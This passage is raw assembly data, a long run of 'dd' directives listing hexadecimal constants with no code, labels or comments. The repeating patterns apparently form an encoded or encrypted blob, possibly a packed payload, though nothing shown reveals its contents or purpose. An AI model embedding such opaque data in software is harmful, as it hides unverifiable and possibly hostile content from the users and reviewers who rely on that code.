0EDADE545h, 4465E7E7h, 51CC2DC6h, 0D4044124h, 69E7896Dh dd 0ADFE077Dh, 752BF733h, 7FADCF86h, 0C7512EC7h, 0C7172DEEh dd 0DB4479A1h, 68F74A6Dh, 0EDDC046Dh, 7561D7ABh, 77ADEF87h dd 874528C7h, 0E7F6ADE9h, 0FD0765A8h, 6BE7F3ADh, 2DEAC771h dd 4961C716h, 0D12DF507h, 0C67163D7h, 0C71E2DCAh, 0CFC45967h dd 0ABF74F6Dh, 2DDE4651h, 7DA4C71Bh, 35ADE6C7h, 874DA9F7h dd 0D7B6ADE8h, 0D6447DA8h, 0A0F729EDh, 6DE08561h, 4DACE784h dd 0B4ADE0C7h, 464129D7h, 0E79B2DDCh, 0E7C575E4h, 0A5C765EDh dd 0ADDA065Dh, 65EDF73Ah, 0F1ADF547h, 445EAE7h, 0E7EAEDD9h dd 0FA4571A1h, 6EC7026Dh, 6DCDC449h, 6DEBD7CFh, 0B1ADF447h dd 8451EAD7h, 0C70D6DC6h, 0E5C7652Ah, 0E9E7F5ADh, 6DEAC571h dd 596DC706h, 416DF705h, 45612FF7h, 0E7826DF8h, 0DD04652Eh dd 61E7EBEDh, 2DD00661h, 69A5E798h, 0CA6DD944h, 47928D7h dd 0F7486DD3h, 0FF4759E9h, 0A2F7532Dh, 0EDC4C46Dh, 65E3D7ADh dd 0E936FC45h, 0A345ABF7h, 0D79AEDBFh, 0EB0669EAh, 0E8C70AEDh dd 0ADC8866Dh, 5129F785h, 0E3ADE9C6h, 0C55525E7h, 0D76CEDF1h dd 0D08569E4h, 2BE715EDh, 0EDCA4655h, 5920D74Ah, 0A82DC484h dd 8779ACD7h, 0E7C76DC7h, 0E9C475A1h, 0A4D76E2Dh, 0EDDC8579h dd 75A9E701h, 0B0ADF2C6h, 4779AFD7h, 0C7DA2DD7h, 0E7045D22h dd 26F77B6Dh, 0ADE20551h, 0D43AC7D7h, 0B26DDF47h, 467920F7h dd 0F7A3EDD7h, 0C3454964h, 0ACB16A2Dh, 0ADC5C665h, 41EFE7FDh dd 856DE485h, 875D6CE7h, 0F736ADEAh, 0F94769E8h, 22D7D22Dh dd 0EDC7C475h, 75A3C76Dh, 6FEDCF84h, 54922C7h, 0D7C16DF5h dd 0EDC5496Fh, 0EDD7C76Dh, 0ADE3C755h, 7969C774h, 5E2DCBC6h dd 444967F7h, 0D7CB6DDDh, 0F14545E8h, 26E7E0EDh, 2DFB4779h dd 5562F752h, 72ADFB07h, 857DEBC7h, 0F727EDEEh, 0FE475124h dd 0A2C7132Dh, 2DC58649h, 7566D7DDh, 69EDD744h, 475A0C7h dd 0C76BEDDFh, 0EF857521h, 24C767EDh, 0ADEC876Dh, 5568D7B7h dd 64EDE3C5h, 0C44565C7h, 0E7ECEDC1h, 0F9074523h, 0ABE7F2ADh dd 2DE78759h, 5120F755h, 112DF607h, 0C46923C7h, 0D7CE6DC9h dd 0C7C6752Bh, 0AFC77DADh, 6DF40541h, 616FE781h, 806DF005h dd 8669AFE7h, 0D7DC2DC1h, 0DC066DA6h, 6DD7BBADh, 2DC28671h dd 456D1026h, 352DEDC6h, 2C4923C7h, 0F753ADBCh, 0D2445123h dd 2DF7A56Dh, 6DE9C751h, 71A8F789h, 0C2ADC186h, 0C45D21C7h dd 0F7B72DF7h, 0C547416Fh, 0F0E7D32Dh, 6DC907F4h, 4DA0C770h dd 0D835D606h, 0C659A5D7h, 0F75F2DCFh, 0FCC64DA7h, 0AAE70EF7h dd 0ADDF044Dh, 5D2F80E9h, 132DCC47h, 85456521h, 0C74BADCAh dd 0EE86716Eh, 6DE7FB73h, 0EDC0C44Dh, 5523D7ACh, 6EEDCB84h dd 545E2C7h, 0E7E2EDF9h, 0C38479A7h, 0EAF74C6Dh, 6DD10469h dd 79A9D7C8h, 542DE387h, 0C649E0F7h, 0D7DF2DCDh, 0F84761E7h dd 22E7922Dh, 0ADD14645h, 5D2CE7F8h, 22EDFA05h, 877DE7F7h dd 0F737ADEEh, 0D8446128h, 28E78A6Dh, 6DEEC551h, 59ADC707h dd 476DEFC5h, 4665ADF7h, 0E7C134D2h, 0DB055D22h, 0E2F775EDh dd 6DD00771h, 7D29E7D4h, 4FADC344h, 0C445ECE7h, 0C7D3ADEDh dd 0E6C569A5h, 0AAD7A4EDh, 2DD3067Dh, 5D24E7A5h, 61EDEBC5h dd 4461E9C7h, 0C70DADC4h, 0D0057163h, 2FC732EDh, 0ADF28479h dd 4163F79Bh, 0D16DDC07h, 0C77DA4D7h, 0F7816DE3h, 0E4C6616Ch dd 66C7F32Dh, 0EDF88551h, 5D2C8096h, 936DDC87h, 4661EBF7h dd 0E71FEDDDh, 0F606456Ah, 6CE72FEDh, 6DD68745h, 61E4F76Dh dd 51EDD685h, 444163F7h, 0F78F6DDEh, 0D5864168h, 2DC724ADh dd 6DECC75Dh, 75ACE729h, 0AE6DC287h, 87496CD7h, 0C7EA6DD3h dd 0C7855D24h, 0ADD7A0EDh, 6DF7C779h, 416BF797h, 4EDC546h dd 0C65D29C7h, 0F74FADECh, 0DA8471A0h, 67E7F12Dh, 0ADDD4545h dd 5928D78Ch, 25ADDF86h, 0C7552DE7h, 0F7B36DEAh, 0DD4761EFh dd 6DF7A72Dh, 6DE5C741h, 5125F763h, 0BCEDF2C5h, 7592ED7h dd 0C7102DFFh, 0D4467DABh, 0E1C7C4EDh, 2DE3C46Dh, 4563E7D1h dd 456DDD44h, 0C461E1F7h, 0F7AF2DE6h, 0D587416Ch, 27F7736Dh dd 0ADD24551h, 5925D762h, 3BEDF4C5h, 765EEE7h, 0E7CF2DEEh dd 0D98475A0h, 6ED7BE2Dh, 2DF30749h, 7DA4C7EEh, 8CEDDF85h dd 0C73468E7h, 0E78339F9h, 0C1C710EBh, 6BE7A639h, 39C90710h dd 34EAE789h, 0F139D184h, 0C5286AE7h, 0E78F39D9h, 0E10410F5h dd 75E7A3F8h, 0F8E9442Ch, 0CF4E75Ch, 0B4F8F187h, 871074E7h dd 0E7F5F8F9h, 0C1C738F7h, 77E7A0F8h, 0F8C94608h, 8F6E797h dd 0DEF8D1C5h, 443876E7h, 0E79AF8D9h, 0E1460CF1h, 71E70AB8h dd 0B8E90638h, 8F0E740h, 55B8F184h, 851470E7h, 0E74EB8F9h dd 0C1440CF3h, 73E773B8h, 0B8C9C420h, 18F2E765h, 0F2B8D1C4h dd 63472E7h, 0E7E8B8D9h, 0E1C504FDh, 7DE70178h, 78E90428h dd 18FCE731h, 0E678F105h, 842C7CE7h, 0E7BC78F9h, 0C1841CFFh dd 7FE7EF78h, 78C94720h, 30FEE726h, 0A778D107h, 53C7EE7h dd 0E70378D9h, 0E10510F9h, 79E76C38h, 38E94400h, 18F8E796h dd 2338F187h, 871C78E7h, 0E7F838F9h, 0C1451CFBh, 7BE7AE38h dd 38C9072Ch, 8FAE75Eh, 5838D106h, 0C4107AE7h, 0E7BD38D9h dd 0E1C61CC5h, 45E73BFBh, 0FBE9051Ch, 38C4E7B9h, 98FBF187h dd 440444E7h, 0EC33FBF9h, 855D7527h, 2452EFADh, 2DAD5D55h dd 752B72E9h, 0EB6D9B1Dh, 1D55A142h, 52F52DBCh, 0BBDC7561h dd 0A862F72Dh, 2D8DDC55h dd 756142F1h, 0F3AD8E9Ch, 9C556742h, 42FD2D80h, 0A05C75A4h dd 0A852FF2Dh, 0ADB05C55h, 75AC62F9h, 0FB2DAA1Ch, 1C55E462h dd 72C5EDA3h, 95DF75EDh, 0A162C72Dh, 6D9FDF55h, 75EB52C1h dd 0C32D969Fh, 9F552A42h, 42CD2DA5h, 885F756Dh, 2E62CF6Dh dd 0ADAD5F55h, 75A562C9h, 0CB2DBA1Fh, 1F55E972h, 52D5AD90h dd 95DE75E3h, 6442D7EDh, 0EDABDE55h, 752372D1h, 0D3ADA99Eh dd 9E55A462h, 52DDED90h, 845E7527h, 0EF42DF2Dh, 2DA95E55h dd 756672D9h, 0DBADB21Eh, 1E55EA42h, 12E56DA7h, 89D975A1h dd 0AB12E76Dh, 0ED8ED955h, 75AC32E1h, 0E36D8599h, 99556C22h dd 12ED2DB4h, 83597522h, 2202EFADh, 6D8E5955h, 75ED12E9h dd 0EB2DAF19h, 19556732h, 22F52DB6h, 9CD87526h, 0EB02F7ADh dd 0EDB8D855h, 75A202F1h, 0F3ED9E98h, 9855A002h, 2FDADABh dd 0BE587524h, 6502FF2Dh, 0AD895855h, 75AB22F9h, 0FBADB818h dd 18552302h, 2C52D8Ah, 8DDB75AFh, 0AF22C76Dh, 0ED92DB55h dd 756D12C1h, 0C3ED979Bh, 9B55E112h, 12CDADBCh, 0A95B75AEh dd 0A322CF6Dh, 2DB75B55h, 75EB22C9h, 0CB6D911Bh, 1B556A02h dd 32D5EDA2h, 8ADA75A7h, 2D02D76Dh, 2D8CDA55h, 756422D1h dd 0D32DB09Ah, 9A556D22h, 2DDAD8Ah, 815A75E2h, 0EA32DFEDh dd 2DA25A55h, 75E032D9h, 17ED861Ah, 46456BE7h, 0F78DADD9h dd 0F9865128h, 0E7B3E56Dh, 2DB8C175h, 5528A3E7h, 0E16DA3C1h dd 8175ADB3h, 83E36DB5h, 0A18155E1h, 6F83ED2Dh, 2DBD4175h dd 0D0A5B3EFh, 0E9EDA461h, 175E483h, 93EB6D86h, 9C015520h dd 0E8A3F52Dh, 6DB4C075h, 5560A3F7h, 0F1ED82C0h, 80756EB3h dd 93F3ED9Dh, 968055E4h, 0E693FD6Dh, 6D9E4075h, 55E2A3FFh dd 0F96DAC40h, 75AF93h, 83FB6D93h, 0B70055E7h, 0E7A3C56Dh dd 0ADACC375h, 552A93C7h, 0C1AD9DC3h, 83756283h, 0A3C36DAAh dd 0A583556Ah, 0A493CD6Dh, 2DBF4375h, 55E6B3CFh, 0C92DA343h dd 3756EA3h, 0A3CB2DA6h, 920355EEh, 0E4B3D5ADh, 2DAEC275h dd 552AA3D7h, 0D12DB3C2h, 82756683h, 0A3D3AD86h, 92825522h dd 6293DDADh, 2D974275h, 556393DFh, 0D9AD8A42h, 275A9B3h dd 0B3DBED95h, 820255E5h, 6753E5ADh, 2D9BCD75h, 55A853E7h dd 0E16D8ECDh, 8D75A243h, 43E32DAFh, 0AC8D55EDh, 2273ED2Dh dd 2D9F4D75h, 556073EFh, 0E9ADA24Dh, 0D75EA63h, 63EB6D88h dd 870D55A8h, 2F53F56Dh, 6DB9CC75h, 55AF63F7h, 0F1AD97CCh dd 8C75E963h, 73F36D92h, 0B68C552Ah, 0A743FD6Dh, 0ED934C75h dd 552653FFh, 0F92D924Ch, 0C752963h, 73FBED91h, 800C55AFh dd 0EA73C52Dh, 0AD94CF75h, 556863C7h, 0C1ED94CFh, 8F75A473h dd 53C3EDA1h, 868F55A9h, 0E953CDEDh, 0EDBD4F75h, 55AC43CFh dd 0C9EDA04Fh, 0F756C43h, 43CBEDA2h, 0A50F55E4h, 0EB43D56Dh dd 2D8ECE75h, 55A753D7h, 0D16D97CEh, 8E75A273h, 53D3EDACh dd 898E55EDh, 6443DDEDh, 0EDBE4E75h, 552343DFh, 0D9ADBF4Eh dd 0E75EF63h, 53DBADB7h, 0B30E5566h, 0EE13E52Dh, 0ED8CC975h dd 55EB13E7h, 0E1ED8AC9h, 8975AD23h, 33E3ADB6h, 858955E8h dd 97E79EC6h, 0FECD4564h, 6017E7DAh, 33FED507h, 444C96E7h dd 0E717FEDDh, 0E5075C16h, 91E7ABBEh, 0BEEDC44Ch, 4411E7F6h dd 16BEF584h, 866490E7h, 0E71EBEFDh, 0C5474C10h, 93E71BBEh dd 0BECDC468h, 6813E7B6h, 84BED505h, 0C47092E7h, 0E79BBEDDh dd 0E5C56C12h, 9DE73A7Eh, 7EED8464h, 581DE7EAh, 0CF7EF587h dd 84609CE7h, 0E70D7EFDh, 0C5C4641Ch, 9FE7067Eh, 7ECD876Ch dd 441FE782h, 987ED505h, 7549EE7h, 0E7487EDDh, 0E5864C1Eh dd 99E7AD3Eh, 3EED8564h, 6819E71Ah, 513EF506h, 0C65098E7h dd 0E7E63EFDh, 0C5856818h, 9BE7DE3Eh, 3ECD8458h, 741BE700h dd 203ED5C4h, 0C6749AE7h, 0E70C3EDDh, 0E5045C1Ah, 0A5E7AAF9h dd 0F9ED4434h, 25E7B2h, 39F9F585h, 4424A4E7h, 0E785F9FDh dd 0C5C41824h, 0A7E7D2F9h, 0F9CD452Ch, 2427E76Fh, 0C7F9D587h dd 0C43CA6E7h, 0E75EF9DDh, 0E5070426h, 0A1E7E0B9h, 0B9ED861Ch dd 821E772h, 13B9F5C5h, 4624A0E7h, 0E769B9FDh, 0C5050C20h dd 0A3E767B9h, 0B9CDC400h, 3423E764h, 0F2B9D545h, 0C62CA2E7h dd 0E711B9DDh, 0E5471422h, 0ADE77D79h, 79ED8720h, 342DE780h dd 0BB79F546h, 4638ACE7h, 0E7D779FDh, 0C505382Ch, 0AFE7BE79h dd 79CDC710h, 1C2FE790h, 8F79D5C4h, 4414AEE7h, 0E77079DDh dd 0E506342Eh, 0A9E75F39h, 39ED4430h, 1C29E77Bh, 0E739F547h dd 70CA8E7h, 0E7FB39FDh, 0C5453028h, 0ABE76E39h, 39CD8514h dd 342BE74Ch, 5439D507h, 4604AAE7h, 0E79239DDh, 0E504342Ah dd 0B5E722F8h, 0F8EDC408h, 835E78Ah, 47F8F5C7h, 424B4E7h dd 0E76AF8FDh, 0C5073034h, 0B7E77CF8h, 0F8CDC404h, 3C37E725h dd 66F8D506h, 4420B6E7h, 0E7A8F8DDh, 0E5843836h, 0B1E78BB8h dd 0B8EDC73Ch, 1031E795h, 42B8F585h, 4620B0E7h, 0E7DBB8FDh dd 0C5870430h, 0B3E7A1B8h, 0B8CD4400h, 1C33E793h, 0C0B8D5C7h dd 8708B2E7h, 0E762B8DDh, 0E5C73832h, 0BDE79F78h, 78EDC61Ch dd 43DE7B0h, 1278F545h, 0C714BCE7h, 0E78D78FDh, 0C5C7003Ch dd 0BFE7A678h, 78CD0718h, 2C3FE75Ch, 0FF78D5C4h, 0C420BEE7h dd 0E78378DDh, 0E545103Eh, 0B9E72638h, 38ED0724h, 839E7F0h dd 6038F507h, 4428B8E7h, 0E7FA38FDh, 0C5043838h, 0BBE73B38h dd 38CD062Ch, 183BE73Fh, 9438D544h, 524BAE7h, 0E7A538DDh dd 0E544383Ah, 85E72FFBh, 0FBED061Ch, 805E710h, 78FBF547h dd 0C60C84E7h, 0E745FBFDh, 0C5C60004h, 87E7BAFBh, 0FBCD060Ch dd 3807E7B3h, 0D9FBD5C4h, 471086E7h, 0E7D0FBDDh, 0E5472C06h dd 81E70EBBh, 0BBED8714h, 2C01E7CCh, 0D5BBF504h, 73880E7h dd 0E79ABBFDh, 0C5872800h, 83E76CBBh, 0BBCD053Ch, 3803E72Ah dd 0D6BBD506h, 53482E7h, 0E78CBBDDh, 0E5463002h, 8DE7997Bh dd 7BED0420h, 200DE7D3h, 0A07BF505h, 0C5348CE7h, 0E7147BFDh dd 0C545280Ch, 8FE7157Bh, 7BCD8504h, 300FE740h, 437BD5C5h dd 0C5388EE7h, 0E7617BDDh, 0E5C7240Eh, 89E75D3Bh, 3BED4608h dd 2C09E72Ch, 0B83BF507h, 0C50088E7h, 0E7053BFDh, 0C5451408h dd 8BE7633Bh, 3BCD8508h, 0C0BE77Eh, 0CD3BD584h, 842C8AE7h dd 0E72B3BDDh, 0E5863C0Ah, 95E709FAh, 0FAED4500h, 1815E71Dh dd 0C4FAF545h, 842894E7h, 0E791FAFDh, 41592414h, 57E7EDFAh dd 0FAC90614h, 8D6E789h, 7FFAD184h, 0C60856E7h, 0E74AFAD9h dd 0E10500D1h, 51E777BAh, 0BAE9C414h, 18D0E7F3h, 0D1BAF1C6h dd 461850E7h, 0E74FBAF9h, 0C10608D3h, 53E735BAh, 0BAC9C410h dd 30D2E729h, 0B4BAD1C7h, 60052E7h, 0E765BAD9h, 0E10418DDh dd 5DE7F17Ah, 7AE90514h, 4DCE702h, 0B17AF147h, 47285CE7h dd 0E7F57AF9h, 0C1C718DFh, 5FE7417Ah, 7AC98710h, 30DEE7EBh dd 0CA7AD106h, 73C5EE7h, 0E7537AD9h, 0E14520D9h, 59E7E13Ah dd 3AE90618h, 2CD8E719h, 963AF186h, 0C51458E7h, 0E7213AF9h dd 0C14614DBh, 5BE7323Ah, 3AC98738h, 38DAE7F4h, 0D43AD185h dd 8479A9E7h, 0D70C6DF6h, 0F0066DAFh, 0F5E77AADh, 0FCE10550h dd 5075E7FCh, 0A3FCE984h, 468F4E7h, 0E7FDFCF1h, 0F9C76074h dd 0F7E736FCh, 0FCC18654h, 4C77E76Dh, 0C1FCC945h, 0C744F6E7h dd 0E774FCD1h, 0D9465C76h, 0F1E7CBFCh, 0BCE18574h, 5C71E752h dd 27BCE984h, 8648F0E7h, 0E7DDBCF1h, 0F9056C70h, 0F3E76BBCh dd 0BCC1C54Ch, 7C73E7B7h dd 0ECBCC9C5h, 8454F2E7h, 0E755BCD1h, 0D9866872h, 0FDE7CEBCh dd 7CE1446Ch, 707DE781h, 0DC7CE987h, 440FCE7h, 0E71C7CF1h dd 0F9C6447Ch, 0FFE7287Ch, 7CC14450h, 707FE786h, 767CC986h dd 4740FEE7h, 0E7FE7CD1h, 0D9847C7Eh, 0F9E7D87Ch, 3CE1464Ch dd 4C79E7BCh, 4E3CE904h, 0C544F8E7h, 0E74B3CF1h, 0F9044478h dd 0FBE7AC3Ch, 3CC1455Ch, 7C7BE7E2h, 0C83CC947h, 0C67CFAE7h dd 0E7DF3CD1h, 0D986507Ah, 0C5E7F83Ch, 0FFE18558h, 5045E737h dd 7FFE907h, 0C74CC4E7h, 0E7F9FFF1h, 0F9055C44h, 0C7E788FFh dd 0FFC1447Ch, 6847E7F7h, 58FFC9C5h, 0C55CC6E7h, 0E7BDFFD1h dd 0D9057046h, 0C1E730FFh, 0BFE10740h, 6041E744h, 0A2BFE9C6h dd 875CC0E7h, 0E79DBFF1h, 0F9064440h, 0C3E7C3BFh, 0BFC18560h dd 4043E7BFh, 46BFC986h, 8774C2E7h, 0E703BFD1h, 0D9855C42h dd 0CDE704BFh, 7FE14640h, 704DE756h, 0EF7FE984h, 8658CCE7h dd 0E7C67FF1h, 0F947604Ch, 0CFE7877Fh, 7FC1C550h, 7C4FE70Ah dd 757FC946h, 4444CEE7h, 0E7B57FD1h, 0D987404Eh, 0C9E7AE7Fh dd 3FE1C558h, 7449E7C9h, 0B3FE984h, 857CC8E7h, 0E73D3FF1h dd 0C50414E7h, 0E7E738F9h, 0F9C50408h, 8E7E759h, 3EF9C544h dd 0C630E7E7h, 0E7E9F9C5h, 0C5C520E7h, 0E7E73CF9h, 0F9C54508h dd 38E7E75Ah, 0FF9C586h, 43CE7E7h, 0E757F9C5h, 0C5C72CE7h dd 0E7E797F9h, 0F9C50410h, 0E7E75Bh, 34F9C584h, 624E7E7h dd 0E78EF9C5h, 0C58634E7h, 0E7E74DF9h, 0F9C54718h, 34E7E7C2h dd 79F9C547h, 0C624E7E7h, 0E708F9C5h, 0C50610E7h, 0E7E701F9h dd 0F9C5453Ch, 18E7E768h, 18F9C505h, 0C614E7E7h, 0E7E8F9C5h dd 0C54730E7h, 0E7E79CF9h, 0F9C50620h, 4E7E7B9h, 0A9F9C586h dd 8530E7E7h, 0E7E4F9C5h, 0C5C638E7h, 0E7E72DF9h, 0F9C5C628h dd 3CE7E7E3h, 0A4F9C587h, 870CE7E7h, 0E724F9C5h, 0C5852CE7h dd 0E7E7C5F9h, 0F9C5462Ch, 38E7E71Fh, 49F9C545h, 430E7E7h dd 0E7A7F9C5h, 0C5C728E7h, 0E7E7EEF9h, 0F9C5850Ch, 1CE7E723h dd 73F9C544h, 4724E7E7h, 0E771F9C5h, 0C50508E7h, 0E7E750F9h dd 0FCE40728h, 68F5F7AFh, 2EFCE446h, 0C774F5F7h, 0F731FCE4h dd 0C58660F5h, 0F5FCADC1h, 0FCE44564h, 60F5F7DAh, 33FCE407h dd 444CF5F7h, 0F717FCE4h, 0E4075CF5h, 0F5F7ABFCh, 0FCE4C44Ch dd 44F5F7F6h, 16FCE484h, 8664F5F7h, 0F71EFCE4h, 0E4474CF5h dd 0F5F71BFCh, 0FCE4C468h, 68F5F7B6h, 84FCE405h, 0C470F5F7h dd 0F79BFCE4h, 0E4C56CF5h, 0F5F73AFCh, 0FCE48464h, 58F5F7EAh dd 0CFFCE487h, 8460F5F7h, 0F70DFCE4h, 0E4C464F5h, 0F5F706FCh dd 0FCE4876Ch, 44F5F782h, 98FCE405h, 754F5F7h, 0F748FCE4h dd 0E4864CF5h, 0F5F7ADFCh, 0FCE48564h, 68F5F71Ah, 51FCE406h dd 0C650F5F7h, 0F7E6FCE4h, 0E48568F5h, 0F5F7DEFCh, 0FCE48458h dd 74F5F700h, 20FCE4C4h, 0C674F5F7h, 0F70CFCE4h, 0E4045CF5h dd 0F5F7AAFCh, 0FCE44474h, 40F5F7B2h, 39FCE485h, 4464F5F7h dd 0F785FCE4h, 0E4C458F5h, 0F5F7D2FCh, 0FCE4456Ch, 64F5F76Fh dd 0C7FCE487h, 0C47CF5F7h, 0F75EFCE4h, 0E40744F5h, 0F5F7E0FCh dd 0FCE4865Ch, 48F5F772h, 13FCE4C5h, 4664F5F7h, 0F769FCE4h dd 0E4054CF5h, 0F5F767FCh, 0FCE4C440h, 74F5F764h, 0F2FCE445h dd 0C66CF5F7h, 0F711FCE4h, 0E44754F5h, 0F5F77DFCh, 0FCE48760h dd 74F5F780h, 0BBFCE446h, 4678F5F7h, 0F7D7FCE4h, 0E40578F5h dd 0F5F7BEFCh, 0FCE4C750h, 5CF5F790h, 8FFCE4C4h, 4454F5F7h dd 0F770FCE4h, 0E40674F5h, 0F5F75FFCh, 0FCE44470h, 5CF5F77Bh dd 0E7FCE447h, 74CF5F7h, 0F7FBFCE4h, 0E44570F5h, 0F5F76EFCh dd 0FCE48554h, 74F5F74Ch, 54FCE407h, 4644F5F7h, 0F792FCE4h dd 0E40474F5h, 0F5F722FCh, 0FCE4C448h, 48F5F78Ah, 47FCE4C7h dd 464F5F7h, 0F76AFCE4h, 0E40770F5h, 0F5F77CFCh, 0FCE4C444h dd 7CF5F725h, 66FCE406h, 4460F5F7h, 0F7A8FCE4h, 0E48478F5h dd 0ADCC22FCh, 2DA4C161h, 6124B3A5h, 0A56DBBC1h, 0C161EBB3h dd 0A3A52D9Dh, 0B4C1616Ch, 63B3A5EDh, 2DBCC161h, 612D83A5h dd 0A56DB1C1h, 0C1616C93h, 93A5EDBBh, 8CC161ADh, 2983A52Dh dd 0ADB0C161h, 6167A3A5h, 0A52DBAC1h, 0C1612DA3h, 0B3A56D84h dd 0A8C1616Dh, 2E93A5EDh, 2D83C161h, 61E183A5h, 0A5AD8DC1h dd 0C161E1B3h, 0B3A56DBCh, 0AAC16127h, 0EEA3A5EDh, 0ADB1C161h dd 616E93A5h, 0A2EDB3C1h, 7EA548ADh, 64D923CDh, 0EDF9A54Ah dd 5424E1E2h, 0E2CD79A5h, 0A55624E9h, 0F1A2EDF8h, 78A55024h dd 24F9A2CDh, 0EDFBA552h, 5C24C162h, 62CD7BA5h, 0A55E24C9h dd 0D122EDFAh, 7AA55824h, 4D922CDh, 9EC161E0h, 0F5A3A5EDh dd 0E4F5E1C5h, 0C5F7A5E3h, 0EBE4D561h, 0E0C5F1A5h, 0A5F3A4F5h dd 0D560C5F3h, 0FDA5FBA4h, 64F5E3C5h, 0C5FFA5C3h, 0CB64D563h dd 0E2C5F9A5h, 0A5D324F5h, 0D562C5FBh, 0C5A5DB24h, 0E7F5EDC5h dd 0C5C765E3h, 0EBE7D56Dh, 0ECC5C165h, 65F3A7F5h, 0D56CC5C3h dd 0CD65FBA7h, 67F5EFC5h, 0C5CF65C3h, 0CB67D56Fh, 0EEC5C965h dd 65D327F5h, 0D56EC5CBh, 0D565DB27h, 0E6F5E9C5h, 0C5D725E3h dd 0EBE6D569h, 0E8C5D125h, 25F3A6F5h, 0D568C5D3h, 0DD25FBA6h dd 66F5EBC5h, 0C5DF25C3h, 0CB66D56Bh, 0EAC5D925h, 25D326F5h dd 0D56AC5DBh, 0E525DB26h, 0E1F5F585h, 85E7E4E3h, 0EBE1D575h dd 0F485E1E4h, 0E4F3A1F5h, 0D57485E3h, 0EDE4FBA1h, 61F5F785h dd 85EFE4C3h, 0CB61D577h, 0F685E9E4h, 0E4D321F5h, 0D57685EBh dd 0F5E4DB21h, 0E0F5F185h, 85F7A4E3h, 0EBE0D571h, 0F085F1A4h dd 0A4F3A0F5h, 0D57085F3h, 0FDA4FBA0h, 60F5F385h, 85FFA4C3h dd 0CB60D573h, 0F285F9A4h, 0A4D320F5h, 0D57285FBh, 0C5A4DB20h dd 0E3F5FD85h, 85C764E3h, 0EBE3D57Dh, 0FC85C164h, 64F3A3F5h dd 0D57C85C3h, 0CD64FBA3h, 63F5FF85h, 85CF64C3h, 0CB63D57Fh dd 0FE85C964h, 64D323F5h, 0D57E85CBh, 0D564DB23h, 0E2F5F985h dd 85D724E3h, 0EBE2D579h, 0F885D124h, 24F3A2F5h, 0D57885D3h dd 0DD24FBA2h, 62F5FB85h, 85DF24C3h, 0CB62D57Bh, 0FA85D924h dd 24D322F5h, 0D57A85DBh, 0E6A1E522h, 0EDA4C169h, 0CDF58325h dd 63E4F7E1h, 61CDF785h, 856BE4D7h, 0F7E0CDF1h, 0F38573A4h dd 0A4D760CDh, 0CDFD857Bh, 4364F7E3h, 63CDFF85h, 854B64D7h dd 0F7E2CDF9h, 0FB855324h, 24D762CDh, 0CDC5855Bh, 63E7F7EDh dd 6DCDC745h, 456BE7D7h, 0F7ECCDC1h, 0C34573A7h, 0A7D76CCDh dd 0CDCD457Bh, 4367F7EFh, 6FCDCF45h, 454B67D7h, 0F7EECDC9h dd 0CB455327h, 27D76ECDh, 0CDD5455Bh, 63E6F7E9h, 69CDD705h dd 56BE6D7h, 0F7E8CDD1h, 0D30573A6h, 0A6D768CDh, 0CDDD057Bh dd 4366F7EBh, 6BCDDF05h, 54B66D7h, 0F7EACDD9h, 0DB055326h dd 26D76ACDh, 8DE5055Bh, 63E1F7F5h, 758DE7C4h, 0C46BE1D7h dd 0F7F48DE1h, 0E3C473A1h, 0A1D7748Dh, 8DEDC47Bh, 4361F7F7h dd 778DEFC4h, 0C44B61D7h, 0F7F68DE9h, 0AAE7B109h, 0ADF54779h dd 71E1F77Ah, 63ADF644h, 4775A4D7h, 0D76B2DE6h, 0F3845DA7h dd 6FD72B6Dh, 2DEE4449h, 712CF722h, 0CE2DD4C4h, 84456AC7h dd 0D7376DCEh, 0F6C569EBh, 0E6E7ED6Dh, 0ADF0064Dh, 51A2C78Eh dd 0C72DD344h, 47D29E7h, 0C7986DF4h, 0C0C455E5h, 0ABF736EDh dd 2DD98679h, 4967C794h, 6C2DF2C6h, 0C475A6F7h, 0C7886DE5h dd 0EA4769E3h, 0EEF7526Dh, 0ADEC844Dh, 496EC7ACh, 0B4ADC285h dd 0C55D6BC7h, 0C7B26DFDh, 0C4C6652Ah, 27D7152Dh, 0EDE70471h dd 6521E785h, 86EDF706h dd 8779A1C7h, 0D73F6DC6h, 0E30641E8h, 2DD7252Dh, 2DC28459h dd 55ECC7A0h, 0A6DF087h, 44D23F7h, 0C7802DCEh, 0FF8441E0h dd 2EC7D02Dh, 0EDC8C769h, 61A2E7F3h, 0B72DF645h, 4441EBE7h dd 0F746EDCCh, 0E1C64569h, 0E9C7B8ADh, 0ADCFC741h, 412DC7D8h dd 83ADDD04h, 55D60E7h, 0F72CADCEh, 0F804616Eh, 0EBF74A2Dh dd 6DD3C459h, 516DE7D9h, 97EDF247h, 4755E7E7h, 0C7BAADC3h dd 0D1054D29h, 28D73D6Dh, 0EDFDC44Dh, 6164C79Ch, 6DE705h dd 569E0F7h, 0D77DADC5h, 0E00459E0h, 0A3E789ADh, 2DC50479h dd 5D63D70Bh, 5A6DE147h, 4765EDF7h, 0E79BEDF9h, 0F1454965h dd 61E7F96Dh, 0ADFD4445h, 51A1F706h, 0C0EDFC06h, 445528C7h dd 0D7716DE2h, 0D2064562h, 0E2D70F6Dh, 0EDC68669h, 6D61D779h dd 2235C7C5h, 84792DD7h, 0D7B0ADC3h, 0D7454D6Fh, 67E71F6Dh dd 0EDCAC579h, 69E9C788h, 946DE3C5h, 874D62D7h, 0E7282DF6h dd 0D5477165h, 0ADD7EFEDh, 0EDC6066Dh, 6DAFF70Ah, 7FF5E707h dd 46516EC7h, 0E745EDF3h, 0EAC74D20h, 67D7E22Dh, 0ADDC4779h dd 69ECC7C8h, 59EDE206h, 0C45DEAE7h, 0F75DADCCh, 0FF4471EFh dd 29F7D82Dh, 0EDE0C57Dh, 61A8F74Ah, 7DEDD186h, 0C67524D7h dd 0C75A6DC3h, 0CB05756Dh, 2CF731EDh, 2DD6476Dh, 71EFE7B0h dd 9D6DEFC5h, 4775E6C7h, 0F71F2DD3h, 0E6C549A2h, 66F7DE6Dh dd 0ADC5C465h, 5D6FC71Eh, 2ADD484h, 751A5C7h, 0F7E1ADCBh dd 0C4055DE0h, 6AF747EDh, 2DF8877Dh, 5126F764h, 0A4EDDB86h dd 0C4512FC7h, 0C78A2DC3h, 0F18761A1h, 0AEF786ADh, 2DE10461h dd 75A5F7B2h, 0D0EDE3C5h, 446523D7h, 0D7A0ADF5h, 0FD85412Ah dd 0A7E71B6Dh, 6DD8867Dh, 41ACD79Fh, 35ADE5C7h, 447929E7h dd 0D7422DFCh, 0CD0765A2h, 2EF7752Dh, 6DECC579h, 796DE707h dd 33EDFC46h, 44166E7h, 0D75E2DEDh, 0D9476168h, 0A1D767ADh dd 0ADE70455h, 456BF726h, 626DE106h, 0B28FF7D7h, 0D7446DA5h dd 